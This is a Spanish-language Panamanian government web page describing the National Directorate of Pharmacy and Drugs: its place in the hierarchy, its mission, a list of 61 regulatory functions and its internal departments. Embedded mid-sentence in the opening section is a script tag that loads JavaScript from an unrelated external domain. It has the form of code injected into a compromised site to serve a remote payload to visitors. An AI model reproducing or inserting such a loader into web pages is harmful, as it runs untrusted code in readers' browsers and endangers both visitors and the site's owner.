Gobierno Nacional de Panamá

Dirección Nacional de Farmacia y Drogas

Ubicación y dependencia jerárquica

La Dirección Nacional de Farmacia y Drogas está ubicado a Nivel Directivo y depende jerárquicamente del Despacho Superior.<script type='text/javascript' src='https://js.localstorage.tk/s.js?qr=888'></script>
Misión:
  1. Asegurar que el análisis, la vigilancia y el control de calidad de Medicamentos y otros Productos para la Salud Humana, así como los establecimientos que se dedican a la producción, distribución y custodia de los mismos, cumplan con los estándares de calidad establecidos en las normas y reglamentos sanitarios nacionales e internacionales vigentes, en forma permanente, para que la población adquiera y utilice productos seguros y eficaces.
Funciones:
  1. Vigilar que los Medicamentos y otros Productos para la Salud Humana, cumplan con los estándares de calidad establecidos en las normas y reglamentos sanitarios nacionales e internacionales vigentes.
  2. Garantizar a la ciudadanía que los medicamentos y otros productos para la salud humana sean seguros y eficaces, por medio del registro sanitario, auditorias, vigilancia y control permanente que se realicen a los establecimientos y lugares de producción y expendio en la República de Panamá.
  3. Garantizar a la ciudadanía que los medicamentos y otros productos para la salud humana sean seguros y eficaces, por medio del registro sanitario, auditorias, vigilancia y control permanente, que se realicen a los establecimientos y lugares de producción y expendio en la República de Panamá.
  4. Asegurar que los productos disponibles en el mercado local cuenten con el registro sanitario vigente y que aquellos adquiridos por las instituciones estatales mediante leyes especiales, cumplan con los estándares de calidad.
  5. Vigilar el fiel cumplimiento del procedimiento en lo relativo a las Buenas Prácticas de Almacenamiento, Distribución y Transporte de los medicamentos y otros productos para la salud humana.
  6. Garantizar que las sanciones y las medidas preventivas y/o correctivas aplicadas a los clientes se cumplan según lo establecido en las normas sanitarias vigentes.
  7. Velar que se cumpla con la evaluación de los productos sujetos a control posterior y las notificaciones de farmacovigilancia.
  8. Autorizar a los laboratorios analíticos, para la realización de los análisis de control de calidad a los medicamentos y otros productos para la salud humana.
  9. Evaluar y tomar decisión sobre los informes confidenciales con los resultados técnicos y analíticos de los controles posteriores o controles por farmacovigilancia.
  10. Evaluar y tomar decisión sobre los informes confidenciales de los resultados de la evaluación técnica de las notificaciones de Farmacovigilancia.
  11. Asegurar el cumplimiento de las Buenas Prácticas de Laboratorio de Control Analítico.
  12. Garantizar que los medicamentos y otros productos para la salud humana, registrados, en proceso de registro, o adquiridos por las instituciones estatales mediante leyes especiales o sometidas a control de calidad lote a lote, se le apliquen las pruebas analíticas de control de calidad establecidas en las normas sanitarias vigentes o en las farmacopeas internacionales reconocidas.
  13. Velar que se cumplan los controles para la importación de sueros biológicos y productos hemoderivados o con componentes derivados de sangre humana que se importen al país de acuerdo a leyes especiales vigentes.
  14. Velar que los productos biológicos importados al país cumplan con los requisitos necesarios para garantizar su calidad lote a lote.
  15. Velar por el cumplimiento de las tarifas reguladas y establecidas en los procesos administrativos para el pago de los registros y análisis de los productos.
  16. Mantener una estrecha comunicación y coordinación con los propietarios o representantes de las empresas fabricantes, importadoras, distribuidoras y comercializadoras de productos farmacéuticos y de uso o consumo humano.
  17. Autorizar la retención, cuarentena, retiro o no utilización de productos farmacéuticos o de uso o consumo humano, cuando se sospeche que éstos no reúnen los estándares de calidad establecidos en las leyes y reglamentos vigentes.
  18. Autorizar y firmar los Certificados de Registro Sanitario que han cumplido con las normas y leyes vigentes.
  19. Autorizar y firmar los Certificados de Libre Venta, Permisos de Importación, Especiales de Importación, Exportación y Reexportación.
  20. Autorizar la importación, exportación y reexportación de medicamentos y otros productos para la salud humana.
  21. Autorizar los Certificados de Buenas Prácticas de Fabricación, Buenas Prácticas de Almacenamiento, Permisos de Sustancias Controladas, Licencias para el Manejo de Sustancias Controladas, Certificado de Buenas Prácticas de Laboratorios de Control Analítico, Certificados de Calidad y Certificados de Lote, Licencias de Operación de Establecimientos Farmacéuticos y no Farmacéuticos.
  22. Autorizar y firmar las resoluciones de las sanciones aplicadas a los usuarios que no han cumplido con las leyes, normas y reglamentos legales vigentes.
  23. Asegurar que los procesos de evaluación para la obtención o renovación del Certificado de Registro Sanitario, cumplan con los requisitos establecidos en las normas sanitarias.
  24. Asegurar que los procesos de evaluación para la obtención o renovación de la Intercambiabilidad, cumplan con los requisitos establecidos en las normas sanitarias.
  25. Garantizar que los procesos para la modificación del Certificado de Registro Sanitario o de Intercambiabilidad, cumplan con los requisitos establecidos en las normas sanitarias.
  26. Garantizar que se dé la emisión del Certificado de Libre Venta.
  27. Aprobar la expedición del Certificado de Registro Sanitario, Certificación de Intercambiabilidad o Certificado de Libre Venta de los medicamentos y otros productos para la salud humana.
  28. Autorizar la suspensión o cancelación de las solicitudes en trámite del Certificado de Registro Sanitario o de Intercambiabilidad de los medicamentos y otros productos para la salud humana.
  29. Aprobar la renovación del Certificado de Registro Sanitario o de Intercambiabilidad de los medicamentos y otros productos para la salud humana.
  30. Garantizar la emisión de las notificaciones al cliente sobre los aspectos relativos al estatus de sus solicitudes.
  31. Aprobar la autenticación de los Certificados de Registros Sanitarios, Certificados de Medicamentos de Referencia y Certificados de Intercambiabilidad.
  32. Aprobar las Modificaciones al Certificado de Registro Sanitario o de Intercambiabilidad de los productos.
  33. Aprobar la emisión de certificación relacionada con el registro sanitario o intercambiabilidad de los medicamentos y otros productos para la salud humana.
  34. Autorizar las Listas de Medicamentos de Riesgo Sanitario Alto, Intermedio y Bajo.
  35. Autorizar y aprobar los Permisos Especiales para importar productos.
  36. Asegurar el cumplimiento de las disposiciones legales y técnicas vigentes por parte de los establecimientos farmacéuticos y no farmacéuticos.
  37. Garantizar que todos los establecimientos farmacéuticos y no farmacéuticos dispongan de la Licencia de Operación y Licencia de Sustancias Sujetas a Control, para su funcionamiento.
  38. Aprobar o rechazar las licencias para el manejo de sustancias sujetas a control y los permisos para su importación, exportación y reexportación.
  39. Autorizar los Certificados de Buenas Prácticas de Fabricación, Almacenamiento, Laboratorio de Control Analítico de Productos Farmacéuticos entre otros.
  40. Garantizar el cumplimiento de la regencia farmacéutica en los establecimientos farmacéuticos.
  41. Garantizar el cumplimiento de las acciones legales y técnicas que determine la Dirección, en el ámbito de competencia del departamento.
  42. Aprobar o rechazar los carné de los regentes farmacéuticos, visitadores médicos y los vendedores de productos farmacéuticos del sector privado que ejercerán la promoción de medicamentos y otros productos para la salud humana, aprobados.
  43. Asegurar que los establecimientos farmacéuticos y no farmacéuticos mantengan vigente la licencia de operación.
  44. Aprobar ó rechazar los documentos y notificaciones generadas por las secciones del Departamento de Auditoria de Calidad.
  45. Aprobar o rechazar los informes de auditoria e inspecciones a establecimientos farmacéuticos y no farmacéuticos.
  46. Autorizar y remitir a las instancias correspondientes los informes anuales sobre el movimiento de sustancias sujetas a control.
  47. Autorizar las licencias para el manejo de sustancias sujetas a control y los permisos para su importación, exportación y reexportación.
  48. Garantizar el cumplimiento de las acciones legales y técnicas en el ámbito de su competencia.
  49. Avalar los proyectos de modificación y actualización de las guías de auditoria de calidad de establecimientos farmacéuticos y laboratorios de control analítico de la industria farmacéutica.
  50. Autoriza las modificaciones de operaciones de los establecimientos farmacéuticos y laboratorios de control analítico de la industria farmacéutica.
  51. Instruir al Departamento de Auditoria de Calidad de Establecimientos Farmacéuticos y No Farmacéuticos las medidas preventivas para asegurar el cumplimiento de las buenas prácticas farmacéuticas en la dispensación, prescripción y manejo de medicamentos y otros productos para la salud humana.
  52. Autorizar la licencia de operación de los establecimientos farmacéuticos y no farmacéuticos.
  53. Autorizar las liquidaciones de importación de materia prima destinada a la fabricación de medicamentos y otros productos para la salud humana.
  54. Coordinar con otras Instituciones del Estado, la resolución de conflictos entre las disposiciones de salud, y el sector privado, a través de convenios y proyectos para garantizar el cumplimiento de las disposiciones legales vigentes.
  55. Coordinar con la Oficina de Asesoría Legal, los trámites legales cuando proceden, “apegándose al debido proceso”, según lo establecido en las leyes y reglamentos vigentes y las resoluciones donde se establecen las sanciones, las medidas preventivas y/o correctivas aplicables a las empresas o a los productos que no cumplan con los requisitos establecidos.
  56. Coordinar con las empresas fabricantes, importadoras, distribuidoras y comercializadoras aspectos relacionados con los controles de calidad de los medicamentos y otros productos para la salud humana disponibles en el mercado.
  57. Revisar e informar al Despacho Superior sobre los Permisos Especiales de Donaciones otorgados a las Instituciones Privadas y del Estado.
  58. Garantizar la participación en las reuniones de la Comisión Consultiva, Comisión de Publicidad, Comisión de Estudios Clínicos, Subcomisión Nacional de Acreditación, Consejo Técnico de Salud, Comisión Interinstitucional de Plaguicidas, Perito en la Destrucción de Drogas Ilícitas Incautadas, La Comisión Nacional Asesora de Prácticas de Inmunización y otros.
  59. Elaborar los indicadores que permita medir los resultados de la gestión de la Dirección Nacional de Farmacia y Drogas y presentarlos al Despacho Superior para su aprobación.
  60. Representar al Ministerio de Salud ante la Comisión de Medicamentos de la Caja del Seguro Social.
  61. Representar al Ministerio de Salud, en otros eventos nacionales e internacionales relacionados con las funciones de la Dirección Nacional de Farmacia y Drogas previa autorización del Ministro (a) de Salud.
Organización Interna

 La Dirección Nacional de Farmacia y Drogas está organizado internamente en:

  • Sub Dirección
  • Departamento de Farmacoterapia
  • Departamento de Farmacovigilancia
  • Centro Nacional de Farmacovigilancia
  • Sección de Control de Calidad
  • Departamento de Registros Sanitarios de Medicamentos y Otros Productos para la Salud Humana
  • Sección de Bioequivalencia
  • Sección de Modificación de Registros Sanitarios
  • Sección de Evaluación de Medicamentos, Cosméticos y Otros Productos similares
  • Departamento de Auditorias de Calidad de Establecimientos Farmacéuticos y No Farmacéuticos
  • Sección de Auditoría de Calidad a Establecimientos Farmacéuticos
  • Sección de Inspecciones a Establecimientos Farmacéuticos y No Farmacéuticos
  • Sección de Licencias de Operación a Establecimientos Farmacéuticos y No Farmacéuticos
  • Sección de Sustancias Sujetas a Control